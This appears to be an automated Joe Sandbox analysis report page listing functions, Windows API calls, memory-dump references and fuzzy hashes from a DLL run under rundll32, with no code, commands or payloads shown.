APIs

memmove.VCRUNTIME140(?,?,?), ref: 6CBEF485
getaddrinfo.WS2_32(?,00000000,?,?), ref: 6CBEF4F0
WSAGetLastError.WS2_32 ref: 6CBEF4FD

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: ErrorLastgetaddrinfomemmove
String ID:
API String ID: 1338285005-0
Opcode ID: 4a668e5c7b9f1eca961b3f85f2573e20e4857cb319f4875bb263b485c77e56e7
Instruction ID: 947d51746a6664da5c99f0a3469e953580bbe42660df41f49c897039e3dd47b9
Opcode Fuzzy Hash: 4a668e5c7b9f1eca961b3f85f2573e20e4857cb319f4875bb263b485c77e56e7
Instruction Fuzzy Hash: 81318CB0E003499BDB00CF95E880BEEBBF4EF59744F148529E849A7740E775E985CBA1

Function 6CC04964 Relevance: 4.6, APIs: 3, Instructions: 81COMMON

Download Yara Rule

APIs

WaitOnAddress.API-MS-WIN-CORE-SYNCH-L1-2-0(?,?,00000004,000000FF), ref: 6CC049D7
GetLastError.KERNEL32 ref: 6CC049DE

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: AddressErrorLastWait
String ID:
API String ID: 1574541344-0
Opcode ID: bcefdb81217383e381ed6f8fdcc1c0d1748bf503053b50d5d7a4eb70811f426c
Instruction ID: 9c5517df8c9bb2b83c69f5ef86b805bbaed12c6ad18d6561917fa7be770089b0
Opcode Fuzzy Hash: bcefdb81217383e381ed6f8fdcc1c0d1748bf503053b50d5d7a4eb70811f426c
Instruction Fuzzy Hash: AA21DD75B41A198FDF05CF59C8817AE7BB5FB96318F204138E502ABB40E73A9882CB54

Function 6CB65AF0 Relevance: 4.5, APIs: 3, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(00000000,?,6CBE8F66,?,?,?,?,?,6CBE8F66,?,?,?,?,?), ref: 6CB65B0E
memmove.VCRUNTIME140(00000000,?,6CBE8F66,?,?,?,?,?,6CBE8F66,?,?,?,?,?), ref: 6CB65B44
HeapFree.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,6CBE8D0C,?,?,?,00000077), ref: 6CB65B57

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: Heap$AllocateFreememmove
String ID:
API String ID: 94897913-0
Opcode ID: 8cf92e260ffb5082659e0f3015bfa5c46838e68467b248860d440b91bc96f791
Instruction ID: 9e64a3a9ef20c8eba7f64b61c394015a0e428f59bd7f27835712b6de57a89aaf
Opcode Fuzzy Hash: 8cf92e260ffb5082659e0f3015bfa5c46838e68467b248860d440b91bc96f791
Instruction Fuzzy Hash: A60126717042049FDB159F76DC84E6FBFB9EB86298F054038F94AC3602E732545ACA62

Function 6CBF8739 Relevance: 3.1, APIs: 2, Instructions: 128networkCOMMON

Download Yara Rule

APIs

send.WS2_32(?,?,?,00000000), ref: 6CBF87B8
WSAGetLastError.WS2_32 ref: 6CBF87D1

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: ErrorLastsend
String ID:
API String ID: 1802528911-0
Opcode ID: b3dc27c6ceebc67fca712ed52e85c6932b1377e6eab0bc21a5a1361e1e302d5b
Instruction ID: 3204811cc6ad021d6d3f50c93ce4f5bbf8d8741b655ce71ccde1e20f324e0ad7
Opcode Fuzzy Hash: b3dc27c6ceebc67fca712ed52e85c6932b1377e6eab0bc21a5a1361e1e302d5b
Instruction Fuzzy Hash: EE5147716083849FC701CF19C48064EBBE2BF8A325F148A5EE5A88B791D732D94ACB57

Function 6CBEFA90 Relevance: 3.1, APIs: 2, Instructions: 87threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBF0110: RtlAllocateHeap.NTDLL(02840000,00000000,?,?,6CB65AAF,?,00000004,6CB6E4B2,?,6CBE682F,?,?,?,?,6CBE65EB,00000002), ref: 6CBF011F

CreateThread.KERNELBASE(00000000,?,6CBEFBE0,00000000,00010000,00000000), ref: 6CBEFAF8
GetLastError.KERNEL32(?,?,?), ref: 6CBEFB54

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: AllocateCreateErrorHeapLastThread
String ID:
API String ID: 3346699961-0
Opcode ID: eefae78c8d3c1d896fc75a5ef12cda67990405c48d72cff466104a94510efa0d
Instruction ID: 7eba713a76ded8b61016851282b6143adbd4375506d5176e4d5435dfc4159079
Opcode Fuzzy Hash: eefae78c8d3c1d896fc75a5ef12cda67990405c48d72cff466104a94510efa0d
Instruction Fuzzy Hash: 9E31B5B0A00289CFDB00DFA9D840BEEBBF5FF48754F148165E518AB780E7759945CBA1

Function 6CBEFCB0 Relevance: 3.1, APIs: 2, Instructions: 74threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 6CBEFD60
SetThreadDescription.KERNELBASE(00000000,?), ref: 6CBEFD6E

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: Thread$CurrentDescription
String ID:
API String ID: 654298328-0
Opcode ID: 443826ee12b484754190005f76ec056f8de5f11f56aa064ba863b768f90492bf
Instruction ID: 59d22fc1c07ad92c421e4a0ba7106510128e2c7f6e6a4c125c58a6ae2bf05662
Opcode Fuzzy Hash: 443826ee12b484754190005f76ec056f8de5f11f56aa064ba863b768f90492bf
Instruction Fuzzy Hash: 30218BB1E016998BCB00DF98D844BEEBBB5FF48724F148128E816A7B50D734A905CB91

Function 6CBEF9B0 Relevance: 3.1, APIs: 2, Instructions: 74networkCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000190), ref: 6CBEF9DA
WSAStartup.WS2_32(00000202,?), ref: 6CBEF9E8

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: Startupmemset
String ID:
API String ID: 1873301828-0
Opcode ID: 27a812de2b38dd303fac7029bd497d28b7c514bbd13cf8d290edb15960377764
Instruction ID: 09e47c74fabbbad0e8bb8d15665ac3c6307b49311926b2fbae40b3a8f57161f8
Opcode Fuzzy Hash: 27a812de2b38dd303fac7029bd497d28b7c514bbd13cf8d290edb15960377764
Instruction Fuzzy Hash: 4411C631A4035C9FDB00DF99E845BDA77B8EF8AB58F004054FD099FB41E771A9488AA1

Function 6CB99E6E Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 69COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,00000140), ref: 6CB99ECC

Strings

main, xrefs: 6CB99E9A

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove
String ID: main
API String ID: 2162964266-3207122276
Opcode ID: 8bc5bb73d930369aa13c760c0e8bd6fca80d70c1e994c66433f1fed5a604cc13
Instruction ID: 6423a8357aa1844e90fcff8ab1a147b1106700e731ee27f7fc063768c7ca6d4b
Opcode Fuzzy Hash: 8bc5bb73d930369aa13c760c0e8bd6fca80d70c1e994c66433f1fed5a604cc13
Instruction Fuzzy Hash: 7B11A231B016409FDB50DF25D490BAEB3A9EF86768F144564D8198BB85DB34F848CBE2

Function 6CB9588C Relevance: 3.0, APIs: 2, Instructions: 36networkCOMMON

Download Yara Rule

APIs

getsockopt.WS2_32(?,0000FFFF,00001007,?,?), ref: 6CB958AE
WSAGetLastError.WS2_32(?,0000FFFF,00001007,?,?,?,6CBD86D3), ref: 6CB958C9

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: ErrorLastgetsockopt
String ID:
API String ID: 1230475664-0
Opcode ID: f6f4797d4fc768077777ec22a96c5b78a46300d9b4c0517fa4f8bb6d628a65fb
Instruction ID: bc597f8a82724da62c4c1a02adc611a0a132d79f92a33eb7c6ad7495bfe7b3ce
Opcode Fuzzy Hash: f6f4797d4fc768077777ec22a96c5b78a46300d9b4c0517fa4f8bb6d628a65fb
Instruction Fuzzy Hash: ACF08C716557819AE311AB38D8497627AE0AF03716F10CA7CE4EACBA80D274A488C766

Function 6CBF849D Relevance: 3.0, APIs: 2, Instructions: 30networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 6CBF84BE
WSAGetLastError.WS2_32(?,00000004,?,?,00000002,6CBA288D,?,?,6CC55F8C,6CC55F64), ref: 6CBF84CB

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID:
API String ID: 1729277954-0
Opcode ID: 86d26d2440fd1205c59bf05d2c7d07faf24a101555b9a821f6a5d412e2a99523
Instruction ID: b23b7362c11d63c32314489d24b1ee84e6b0b074a013da6427737f9e6ee648aa
Opcode Fuzzy Hash: 86d26d2440fd1205c59bf05d2c7d07faf24a101555b9a821f6a5d412e2a99523
Instruction Fuzzy Hash: 3AF0A0B1704B805FE7244F28985A7AB7BF59B46324F04896EF6AAD73C1C77298488361

Function 6CBE76B7 Relevance: 3.0, APIs: 2, Instructions: 16networkCOMMON

Download Yara Rule

APIs

connect.WS2_32(?,6CBD8577,0C7502F8), ref: 6CBE76C6
GetLastError.KERNEL32 ref: 6CBE76D0

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: ErrorLastconnect
String ID:
API String ID: 374722065-0
Opcode ID: a43453b088e36e2443fca1d73833c9c0991259fd89e5f4435d0c9b04d4d305c0
Instruction ID: 65491f960c3d80c2aeb244e64b07eaeb1aaa35b94d2f1988cf09bba5a19562d1
Opcode Fuzzy Hash: a43453b088e36e2443fca1d73833c9c0991259fd89e5f4435d0c9b04d4d305c0
Instruction Fuzzy Hash: 7FD05E71205281AFEB105F28D444B667BE8EF097A4F29485DE5C0E6602E7B18884DB61

Function 6CBA126C Relevance: 2.6, APIs: 2, Instructions: 81COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,00000110,?,?,6CC55F8C,6CC55F64), ref: 6CBA2202
memmove.VCRUNTIME140(?,?,00000110,?,?,?,?,?,6CC55F8C,6CC55F64), ref: 6CBA222D

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: 8f9a83943ecff3c3d01327289e91639bff6adaa461cee3d96a50dbe9f996bd43
Instruction ID: c91c0fdac4109f8b2f997a633eb05e282bcd25e2ad4b29cfc6383c8ca9b733c1
Opcode Fuzzy Hash: 8f9a83943ecff3c3d01327289e91639bff6adaa461cee3d96a50dbe9f996bd43
Instruction Fuzzy Hash: F3415671909B449BD751CF69C480AA7B7F4FF8A340F048A5EE4DE5B212EB31E482DB42

Function 6CBAC93D Relevance: 1.6, APIs: 1, Instructions: 74registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNELBASE(?,?,00000000,?,?,?,?,?,?,?,00000000,?,?,6CBB1D27,6CC558B1), ref: 6CBAC99B

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: b2d7f77419dc6e5d5bb4dbed3a859fb595ac929a729161d0d19e3fd18ce1bddb
Instruction ID: 11b2ff2df30d9af6c6f5d77fd9d7eac1680a850b410f2f3bd3a7628c63128b61
Opcode Fuzzy Hash: b2d7f77419dc6e5d5bb4dbed3a859fb595ac929a729161d0d19e3fd18ce1bddb
Instruction Fuzzy Hash: F12128756083459FD301DF14C490A5BBBE5EF89358F14C92EE8899B740D735EC8ACBA2

Function 6CBEFBE0 Relevance: 1.5, APIs: 1, Instructions: 44threadCOMMON

Download Yara Rule

APIs

SetThreadStackGuarantee.KERNELBASE(?), ref: 6CBEFC1B

Part of subcall function 6CB65AD0: RtlFreeHeap.NTDLL(00000000,?,6CBE7E44), ref: 6CB65AE1

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: FreeGuaranteeHeapStackThread
String ID:
API String ID: 4181682901-0
Opcode ID: 64b1f3d3a31158fc6d6441615e90b3cdcc1c3386aef2dda1c05c1b2444ccb2c2
Instruction ID: fe828c2619df019c9185da282c4c49abaf33686fa1d0f0827955bc28163496ff
Opcode Fuzzy Hash: 64b1f3d3a31158fc6d6441615e90b3cdcc1c3386aef2dda1c05c1b2444ccb2c2
Instruction Fuzzy Hash: 71115BB1D00649CFCB10DF94C845BDEBBB4FB48724F108529E905A7781D379A944CFA4

Function 6CBAFCCC Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f46ce9771bb8d4426f13eab6e4bdfb6ee7ce8766df778026edcd9e3fc4c3fd0
Instruction ID: 238be094a2763d37f84205a5aa6a4cf8c33d396546f436ad8353bd46f7d55005
Opcode Fuzzy Hash: 0f46ce9771bb8d4426f13eab6e4bdfb6ee7ce8766df778026edcd9e3fc4c3fd0
Instruction Fuzzy Hash: 8501DA35605690CBDB24DB64C850ADAB3A2EF5A319B64892CC5DB47B50CB36B80BCB41

Function 6CBC39FA Relevance: 1.5, APIs: 1, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteSecurityContext.SECUR32(00000082,?,6CBAFAEC), ref: 6CBBA36C

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: ContextDeleteSecurity
String ID:
API String ID: 4039438073-0
Opcode ID: eac5d8fe5c2f17c858a4556f62e6c59d8102c0221c09340e6375aa671f1ef5f2
Instruction ID: 24a7d76f28fba5263fe8f5dd183e0ce29e8915064e2c271363f844afca50da13
Opcode Fuzzy Hash: eac5d8fe5c2f17c858a4556f62e6c59d8102c0221c09340e6375aa671f1ef5f2
Instruction Fuzzy Hash: 7401DA35605690CBD724DB64C490ADEB3A2EF9A318B64892CD5DB47B50CF36BC0ACB40

Function 6CBBA2E6 Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

DeleteSecurityContext.SECUR32(00000082,?,6CBAFAEC), ref: 6CBBA36C

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: ContextDeleteSecurity
String ID:
API String ID: 4039438073-0
Opcode ID: 8bc2f6906c0f29b74b4ec750228813afd2611822ff4ab4fa94e34ad48d3b08ba
Instruction ID: 62150e9afe4882e4e5b9fa7fa1770f3e3281f564179c181fd6579baf8241aaa4
Opcode Fuzzy Hash: 8bc2f6906c0f29b74b4ec750228813afd2611822ff4ab4fa94e34ad48d3b08ba
Instruction Fuzzy Hash: 7701BB35605A90CBC724EB64C490ADEB3A6EF5A319B64892CD5DB47B50CF35B90ACB40

Function 6CBBA357 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

DeleteSecurityContext.SECUR32(00000082,?,6CBAFAEC), ref: 6CBBA36C

Part of subcall function 6CBAFFD1: closesocket.WS2_32(?), ref: 6CBB001D

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: ContextDeleteSecurityclosesocket
String ID:
API String ID: 1680078162-0
Opcode ID: 9183bda95dc350f32cec4a018b70cc883493cffecfff535ee2b8aa6c4e893ca8
Instruction ID: 03e23088d48879035d5ae35078b069f22975dc5b713ee1069f63af1187caf257
Opcode Fuzzy Hash: 9183bda95dc350f32cec4a018b70cc883493cffecfff535ee2b8aa6c4e893ca8
Instruction Fuzzy Hash: 88F0CD35201A908BC724DB60C490ADEB3A5EF5A218B50892CC5DB43B50CF35B90ACB40

Function 6CBF7B93 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

closesocket.WS2_32 ref: 6CBF7BC9

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: closesocket
String ID:
API String ID: 2781271927-0
Opcode ID: ca5c198d7698fb6ec3f3f67b982f363739477708b2823c15f37888cbe515e201
Instruction ID: 886711f29a251fbedd84d51ff5aa896f482f0f94475df506738a6252eefeae9d
Opcode Fuzzy Hash: ca5c198d7698fb6ec3f3f67b982f363739477708b2823c15f37888cbe515e201
Instruction Fuzzy Hash: 17E0D83130088197C609DB19D9549ADB331FFC7218724826DD42557F51CF62EC0AC784

Function 6CBE72AF Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

QueryContextAttributesW.SECUR32(?,00000053,?,00000000,?,6CBD6E29), ref: 6CBE72BC

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: AttributesContextQuery
String ID:
API String ID: 1320229847-0
Opcode ID: 9c825fc4d548c54623a4f8f53aaa5efde79cc17b748e859b5b5c6e8809207aab
Instruction ID: 9c2f1476955712238aba403dcb83feee0a91c3a681216008d70082051aa4908f
Opcode Fuzzy Hash: 9c825fc4d548c54623a4f8f53aaa5efde79cc17b748e859b5b5c6e8809207aab
Instruction Fuzzy Hash: 9BE0C2F1A01741AFF7204F18DC01B537BE8DB1AB92F15481CF685D7681E7B89840CB61

Function 6CBF0110 Relevance: 1.5, APIs: 1, Instructions: 14memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(02840000,00000000,?,?,6CB65AAF,?,00000004,6CB6E4B2,?,6CBE682F,?,?,?,?,6CBE65EB,00000002), ref: 6CBF011F

Memory Dump Source

Source File: 00000003.00000002.2008665755.000000006CB61000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB60000, based on PE: true

Associated: 00000003.00000002.2008648579.000000006CB60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008755909.000000006CC06000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008833299.000000006CC62000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2008889211.000000006CC63000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb60000_rundll32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 704f36bb0c9f305fe0cddee34e75139387331410fb9c239ad650b811444a2f3b
Instruction ID: 22ec17faf96c19b7975e21f1e44dcfe59afd08a230c3f12bbfb2a5fead83ec0d
